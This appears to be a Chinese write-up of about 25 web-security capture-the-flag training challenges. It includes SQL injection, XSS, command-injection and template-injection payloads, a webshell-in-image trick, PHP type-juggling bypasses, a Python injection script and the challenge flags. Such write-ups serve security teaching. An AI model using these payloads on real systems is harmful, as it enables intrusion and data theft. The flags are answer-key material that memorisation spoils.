X-NUCA全国高校网安联赛7月训练题解

题目1:

很简单,看源码即可得到flag。

A HIDDEN FLAG: FLAG{[email protected]}

题目2:

post 提交q1=2016&q2=lol&q3=22&success=true即可

flag{W3ll_d0n3}

题目3:

这里base64decode是Normal 改成Admin的base64编码提交

flag{C00ki3_n0m_n0m_n0m}

题目4:

show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET[‘foo‘]);
if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;
    }
}
[email protected]$_GET[‘cat‘];
[email protected]$_GET[‘dog‘];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
    }
}
if($v1 && $v2 && $v3){
    include "flag.php";
    echo $flag;
}
?>

可以看出foo是一个jason对象,并且要求里边元素第一个比2016大而且不能是数字,  这里用到了PHP弱类型的一个特性,当一个整形和一个其他类型行比较的时候,会先把其他类型intval再比。 bar1为2017a即可.bar2是一个数组,长度是5,里边第一个元素是数组

array和string进行strcmp比较的时候会返回一个null,%00可以截断eregi。cat[0]=00code2016&cat[1][]=1111&dog=%00

所以最后提交foo={%22bar1%22:%222017e%22,%22bar2%22:[[1],1,2,3,0]}&cat[0]=00htctf2016&cat[1][]=1111&dog=%00

flag{php_i5_n0t_b4d}

题目5:

随便点击另外一个人的密码,得到:

hi,my name is bob ,my password is flag{skjdflksajdfjaklsjfdlkjsafjk}.

没卵用,看url:

http://218.76.35.75:20115/index.php?page=b74d94c647115ba40b3acd8e12b4e122

b74d94c647115ba40b3acd8e12b4e122 md5解密得到: bob317

所以猜测应该是名字加上三个数字,burp抓包:

题目6:

题目中说:而且题中给了提示,http头注入,要么是xff或者refer或者user-Agent

Wecome our official sites:heetian.com/heetian.php

Waist long hair, teenager marry me these days.

看来是referrer头注入,看了别人的wp,sqlmap直接跑:

Sqlmap默认不测试  http头的一些注入。。。

--level 等于或者大于3的时候,就会测试Referer了。。。

直接加个参数好了,看能不能跑出来

看来还真可以 ,继续测试,加上 --dbs 看都有那些数据库:

不出意外的话flag应该就在ctf里边,

果然: flag: Y0ugetT82f00000laev

题目7:

上传php文件,这也不多说额了,就是简单的%00截断

题目8:

就是运行js,然后flag的url就出来了,结果在页面的cookie里边。

题目9:

parse_str($_GET[‘heetian‘]);

主要是这个函数,提交heetian=he=abcd ,flag:

C00d1uckf0rY0uuu

题目10:

一个XSS,输入#‘ onerror=alert(document.domain)

<img src=‘#‘ onerror=alert(document.domain) />flag:D0Gum6Ntd0M11n</form>

题目11:

由提示得出访问http://218.76.35.75:20126/index.php?page=/flag

flag 不在这里<!-- flag: 62a72cb2f3d5e7fc0284da9f21e66c9f.php--></body>

题目12:

和前边一道题很像,burp爆破管理员的id,改下cookie就行

题目13:

sql注入

http://218.76.35.75:20101/?name=%27%20union%20select%201,2,3%20--%20-

不过貌似过滤了information_schama.tables什么的,直接猜:flag表flag字段

http://218.76.35.75:20101/?name=%27%20union%20select%201,2,flag%20%20from%20flag--%20-

flag= thisisforunionsqlinjection

题目14:

图片上传php一句话木马

copy 1.png/b+1.php/a 2.png

题目15:

127.0.0.1 | ls

linux下的连接符有多个。如&&,||,;,| 我们需要都测试后面命令为简单的ls

flag:dirpwnitdoyouknow

题目16:

1、游戏是个坑,只有玩到1000000分时,会在cookie写入("urlkey","webqwer"[1]+"100.js",864E5),所以e100.js是提示文件

2、正确思路是分析游戏tetris.js,这个js混淆过,所以先美化http://tool.lu/js/,分析得出e100.js

3、e100.js是一段JSFuck编码后的JS脚本

4、本地运行这段js脚本,弹出flag{oT0yTrjU0xhjhj2YTcT8jljMWpzS9tDk}

这个网站可以  http://tool.lu/js/

题目17:

更改xff还有referrer头信息,md5解密得到密码cafe

题目18:

主要考察:

KindEditor上传解析漏洞、列目录、内容漏洞

1.1.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=/ 爆出flag路径
2. //path=/,爆出绝对路径D:AppServwww67cmskindeditorphpfile_manager_json.php
3. 2.http://netknight.in/67cms/kindeditor/php/file_manager_json.php?path=AppServ/www/67cms/
4. //根据爆出的绝对路径,修改path的值为AppServ/www/67cms/
5. 这时将遍历d:/AppServ/www/67cms/下的所有文件和文件名

题目19:

用扫目录的工具,发现存在.git 文件夹。

https://github.com/kost/dvcs-ripper工具,获得题目的源代码。

查找源码后,发现没有flag的位置,使用git log 发现。有2次commit记录。

这个时候,使用git 文件比对,发现hack.php的第一次提交里,包含flag。

ps: 以后的各题都是转载别人的wp

题目20:

查看页面源码,发现,flask pytho test 猜测考察.flask python相关的东西,前阵子比较热门的模版注入。

但是不知道源码。假设python设置不当,可能为debug=true的形式启动应用。

可以尝试提交错误的字符串,导致服务器返回报错

提交data=xx{{} 发现返回错误页面。

错误页面下。有app.py的源码。

发现敏感字符,猜测模版注入,只需要执行

get_user_file(‘473bfa63bfeb1e673d6d151a799af923.py’)可以读取该文件

构造如下提交,即可。

http://218.76.35.75:20102/?data=sleep{{get_user_file(%27473bfa63bfeb1e673d6d151a799af923.py%27)}}

上述语法的构造为 Python的模版执行中的语法规则。

题目21:

提示为自加密题

访问页面后,非常明显的image=heihei.jpg 可猜测为文件读取,返回base64编码的文件内容,

我们构造http://218.76.35.75:20106/index.php?image=index.php并解码。得到index.php的源码内容,如下所示

源码里有config关键词,并被替换了_ 。

这时候,都没出现自加密的地方。查看cookie 也没有,可能存在其他技巧点。

提出扫描器,发现存在 .idea文件夹。.idea文件夹是phpstorm工具编写Php代码时生成的文件夹。访问.idea/workspace.xml 发现如下

利用index.php?view=function_crypt.php 读取该文件。并解码,得到加密函数源码。

我们为了获取flag 。需要cookie 为正确的加密后的system用户的cookie值.可以在访问function_crypt.php文件后,可以得到guest用户的cookie值。下面就是解密函数的代码了提供如下解密函数。

最终写出poc

function ss($txt,$m){
  for($i=0;$i<strlen($m);$i++){
        $tmp .= chr(ord($m[$i])+10);
  }
   $m=$tmp;
   $tmp=‘‘;
   $txt=base64_decode($txt);
   $rnd = substr($txt,0,4);
   $txt = substr($txt,4);
   for($i=0;$i<strlen($txt);$i++){
     $key .= $txt[$i] ^ $m[$i];
  }
   $s=‘0123456789abcdef‘;
   $txt1=‘system‘;
  for($i=0;$i<strlen($txt1);$i++){
    $tmp .= chr(ord($txt1[$i])+10);
  }
  $txt1=$tmp;
  $tmp=‘‘;
  for($i=0;$i<16;$i++){
     $tmp = $key.$s[$i];
     for($ii=0;$ii<strlen($txt1);$ii++){
       $txt2 .= $txt1[$ii] ^ $tmp[$ii];
     }
     file_put_contents(‘1.txt‘,base64_encode($rnd.$txt2)."\r\n",FILE_APPEND);
     $txt2=‘‘;
   }
}

ss(‘eldUVRdOWRhI‘,‘guest‘); // 设置获取的guest用户的cookie值。

这个生成了16个加密的密文,用burp加载后,跑一遍,即可得到flag 。

题目22:

提示help.php,并且index.php 页面有webshellpass ,猜测是一个后门需要正确的密码登录。
同时,提示为Php是一个伟大的语言,可能考察php的特性。并且有页面中的提示

这里就肯定不是爆破的题目了。需要考脑洞的题目了,还有一点点的知识涉猎是否广泛的情况了。

这时候,都没出现自加密的地方。查看cookie 也没有,可能存在其他技巧点。

这个题目的缘由就是从这里来的。Php的全局函数,导致绕过验证逻辑。

当提交 shell[pass]=asasdfasdfasdf&shell[login]=false时,发现页面还是报errorpassword 。

猜测有session 。大概逻辑。可能如下:

If($_SESSION[??]){{
  Echo $flag;
}else {
  If($password=$pass){
     $_SESSION[???]=$pass;
    Echo $lag;
   }
}

Webshell一般都比较简单,可能就是当上述的???设置admin 或者login

加上上述有说php的全局变量,我们可以提交如下

shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false

即可得到flag.

题目23:

发现存在robots.txt 文件

访问该地址。得到upload.zip

Upload.zip为index.php

查看Index.php后。

发现对大多数的字符进行了过滤。该过滤方式为黑名单判断,我们只需要找到程序中,为过滤完全的字符,进行payload编写即可。

查找wooyun或者其他地方的资料库,可以知道.%0a 同样可以用来做空格的代替。

那么我们只需要构造如下参数提交

username=admind‘%a0union%a0select%a0‘4124bc0a9335c27f086f24ba207a4912‘%a0from%a0admin%a0where%a0‘1‘=‘1&password=aa

即可得到flag

题目24:

1.文件包含(需要开一下脑洞,猜一猜文件名)

根据提示,可以得到一个目录:

http://218.76.35.75:20116/flagishere/

2.访问这个目录,是一个登录界面,这道题目考的是注入,只不过考点是sql注入的绕过。后端代码中检测了并且拦截了各种sql的关键字。

但是,可以使用“||”来代替关键词 OR

用户名和密码输入admin‘||‘1‘=‘1即可绕过检测登录,获得flag

题目25:

注:apache、mysql

1、.index.php.swp源码泄露

2、注入点id是被is_numeric过滤后,插入到vote表里的,可以用十六进制或者二进制绕过is_numeric,把注入查询语句插入到vote表里,然后又从vote表里取出,形成二次注入

3、猜解t_flag表,使用GROUP_CONCAT(flag)取flag

解题代码:

#!/usr/bin/env python

import requests

import binascii

import sys

def hack(inject):

#print inject;

vul={‘id‘:inject,‘vote‘:3,‘submit‘:1}

print vul

req=requests.post(‘http://218.76.35.74:65080/index.php‘,data=vul)

print req.content

if __name__=="__main__":

s = ‘-1 union all (SELECT GROUP_CONCAT(flag) from t_flag)‘

hack("0x" + binascii.hexlify(s))

时间: 2024-08-05 08:40:58

X-NUCA全国高校网安联赛7月训练题解的相关文章

践行网安,普惠河南——景安网络重磅网安公益项目加速推进中

日前,郑州市景安网络科技股份有限公司(以下称"景安网络")联合河南省互联网协会,及河南云计算大数据产业联盟,全面启动"铸网安·御未来"网络安全专项公益项目,定于2017年8月-12月期间面向河南企事业单位免费发放1000套景安日志管理系统(Glog系统).该项目受到河南省通信管理局.郑州市公安局等相关部门的高度肯定,以及社会各界的大力支持.广泛关注和参与,至今已有900余家政企单位提交申请,近200家成功部署,目前正在加速推进当中. 据了解,系统日志是一种非常关键的

2018全国穿越机竞速联赛沪上3月31日启动

3月31日,X-FLY穿越机竞速全国开季联赛在上海举行赛前发布会,为4月底落地陕西的首站大赛提前预热. 近年来,无人机事业的魅力逐渐凸显,受到越来越多人的关注与青睐.在国家政策利好与市场需求不断膨胀的情况下,各类体育赛事应运而生.X-FLY的CEO陈骋在主题为"超越幻想"的演讲中回顾了X-FLY从初创到羽翼逐渐丰满这一路而来的点点滴滴.赛事总监吴焰平和技术总监李尧分别介绍了X-FLY2018穿越机竞速联赛赛制以及X本年度联赛官方用机,并为穿越机爱好者与厂厂商代表现场解答困惑. 在论坛环

PhantomJS爬虫 -----全国高校查询-------计算机科学与技术前50大学

Selenium是一个Web的自动化测试工具,最初是为网站自动化测试而开发的, Selenium可以根据我们的指令,让浏览器自动加载页面,获取需要的页面,甚至页面截屏,或者判断网站上某些动作是否发生. Selenium自己不带浏览器,不支持浏览器的功能,它需要与第三方浏览器结合在一起才能使用.但是我们有时候需要让它内嵌在代码中运行,所有我们而已用一个叫PhantomJS的工具代替真实的浏览器. PhantomJS是一个基于Webkit的"无界面"(headless)浏览器,它会把网站加

全国高校学科评估:各专业排名前十的高校

全国高校学科评估:各专业排名前十的高校 考试点考研2016-03-07 17:06:08考研资讯 考研辅导 研院信息阅读(33332)评论(2) 声明:本文由入驻搜狐公众平台的作者撰写,除搜狐官方账号外,观点仅代表作者本人,不代表搜狐立场.举报 文章来源于考试点 转载请注明出处 2017考研已经逐渐提上日程,择校择专业也成为许多同学关心的头等大事.现下各种各种的高校排名不在少数,各式榜单很容易使人眼花缭乱.下面是教育部公布的各专业排名前十的高校,也是目前较为权威可信的高校专业评估,大家可以以此做

调研《构建之法》指导下的全国高校的历届软工实践作品、全国互联网+竞赛、物联网竞赛等各类全国性大学生信息化相关的竞赛平台的历届作品及其看法

1,豌豆荚一览 作品内容:主要是一款聚合阅读类作品,他收录了500+应用的内容,可以在一个应用里面,看完自己感兴趣的应用的最近更新的内容,更通俗的讲就是用一个应用代替其他阅读类的应用,你可以在豌豆荚一览中看到其他应用最新更新内容,比如可以看知乎日报,开眼,一个等等之类的..... 作品源于的平台:豌豆荚设计奖里的作品,链接:http://sspai.com/30278 作品的优势:我们手机里面有很多的应用,每天都要在这些应用花费很多时间,其中有一些可能下载下来都不会打开几次,但是删掉又可惜的,于

2016全国高校大数据专业师资培训班在秦皇岛成功举办

2016年7月29日,由中国电子学会嵌入式系统与机器人分会主办的2016全国高校大数据专业师资培训班(暑假)在河北.秦皇岛河北科技师范学院圆满落幕. 本期师资培训班从7月22日开始,为期8天,河北科技师范学院作为协办方为培训班提供了培训场地,而作为承办方的北京奇观技术有限责任公司以及北京博创智联科技有限公司提供了培训使用的实验设备.大数据教学实验系统以及云计算.大数据领域内的优秀讲师和强大的技术支持团队. 本期培训课程内容是针对全国高校计算机方向量身定制的,涵盖了系统安装配置.提供上层编程API

“第二届全国高校软件定义网络(SDN)应用创新开发大赛” 第八次培训研讨会的通知

各相关高校.单位: 为推动互联网应用创新人才的培养,教育部科技发展中心将于决定于2014年11月至2015年8月举办"第二届全国高校软件定义网络(SDN)应用创新开发大赛"(教技发中心函[2014]126号).本赛项由互联网应用创新开放平台联盟主办,华南理工大学信息网络工程研究中心承办,关于大赛详细信息可浏览网址:www.iiu.edu.cn/chuangxin和www.scut.edu.cn/sdn. 为保障赛事顺利进行,赛项执委会将于2015年5月16日(周六)在江苏省未来网络创新

凌阳爱普协办&ldquo;2014全国高校物联网院长高峰论坛&rdquo;

8月1日-8月3日,全球领导品牌研华科技与业界先进企业凌阳爱普将于昆山(研华协同创新研发中心A+TC暨智慧城市与物联网应用展示中心)共同举办"2014全国高校物联网院长高峰论坛",会议以"驱动物联教育创新 共建产学合作典范"为主题,我们期盼通过此次会议,与您共同促进基于物联网应用的教育模式创新,推动全国高校物联网专业健康发展. 物联网作为一项战略性新兴产业,对建设创新型国家意义重大.随着物联网行业在国内的起步与飞速发展,未来3年内我国将有50万物联网人才缺口.为进一

凌阳教育助力&ldquo;2014全国高校物联网院长高峰论坛&rdquo;

8月1日-8月3日,全球领导品牌研华科技与业界先进企业凌阳爱普将于昆山(研华协同创新研发中心A+TC暨智慧城市与物联网应用展示中心)共同举办"2014全国高校物联网院长高峰论坛",会议以"驱动物联教育创新 共建产学合作典范"为主题,我们期盼通过此次会议,与您共同促进基于物联网应用的教育模式创新,推动全国高校物联网专业健康发展. 物联网作为一项战略性新兴产业,对建设创新型国家意义重大.随着物联网行业在国内的起步与飞速发展,未来3年内我国将有50万物联网人才缺口.为进一